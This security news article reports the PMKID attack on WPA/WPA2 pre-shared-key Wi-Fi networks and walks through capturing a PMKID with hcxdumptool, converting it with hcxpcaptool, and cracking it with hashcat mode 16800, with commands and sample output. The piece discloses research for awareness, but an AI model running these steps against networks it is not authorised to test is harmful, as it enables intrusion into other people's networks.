A New Method Discovered to Crack WPA/WPA2 PSK Enabled WiFi Network Passwords
New Attack method discovered to compromise the WPA/WPA2 enabled WiFi networks that allow attackers to gain Pre-shared Key hash that used to crack Passwords used by targeted victims.
This Method is discovered during the attack against the recently released
WPA3 security standard which is extremely harder to crack since its used Simultaneous Authentication of Equals (SAE), a modern key establishment protocol.
New WP3 Security Standard released by Wi-Fi Alliance that provides Next-generation Wi-Fi Security with new capabilities to enhance both personal and enterprise networks and the new WP3 security standard that is a successor of
WPA2.
Researcher finds this attack to compromise the WPA/WPA2 password without performing EAPOL 4-way handshake.
According to
Steube who is the developer of
Hashcat password cracking tool, The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.
Also, this attack work Against all type of 802.11i/p/q/r networks with roaming functions enabled and it’s unclear how many vendors and how many routers this technique will work.
How Does this WPA/WPA2 WiFi Password Attack Works
Robust Security Network Information Element (RSN IE) is an optional one in 802.11 management frames and its working in a single EAPOL frame.
Pairwise Master Key ID (PMKID) can be captured from RSN IE whenever the user tries to authenticate with the router.
“Here we can see that the PMKID has been captured is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label “PMK Name”, the access point’s MAC address and the station’s MAC address.”
In order to make use of this new attack you need the following tools:
Step 1
First Run hcxdumptool to gain the PMKID from the AP and dump the file in PCAP format using following code.
$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 –enable_status
The output looks like this:
start capturing (stop with ctrl+c)
INTERFACE:……………: wlp39s0f3u4u5
FILTERLIST……………: 0 entries
MAC CLIENT……………: 89acf0e761f4 (client)
MAC ACCESS POINT………: 4604ba734d4e (start NIC)
EAPOL TIMEOUT…………: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER…………: 62083
ANONCE……………….: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69
Step 2
Run next tool called hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat using following code.
$ ./hcxpcaptool -z test.16800 test.pcapng
The content of the written file will look like this and it split into 4 columns.
PMKID * MAC AP * MAC Station * ESSID
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a
Also, Researcher recommends that, While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.
- -E retrieve possible passwords from WiFi-traffic (additional, this list will include ESSIDs)
- -I retrieve identities from WiFi-traffic
- -U retrieve usernames from WiFi-traffic
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng
Step 3
Finally, Run hashcat to crack it, we need to use the hash mode PMKID -16800 and we can be used this hash as any other hash type using following code,
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 ‘?l?l?l?l?l?lt!’
Finally, it cracked the hash WPA-PMKID-PBKDF2
When we look at previously available WiFi attacks, we need to sit back and wait until the target user logged in later we can crack the key by capturing the four-way handshake.
In order to get access to the PMKID, this new attack simply has to attempt to authenticate to the wireless network later we can easily crack the pre-shared key.
Also, this method is much easier to access the hash that contains the pre-shared key and later moment the hash will be cracked, also this attack is little complex based on the complexity of the password.
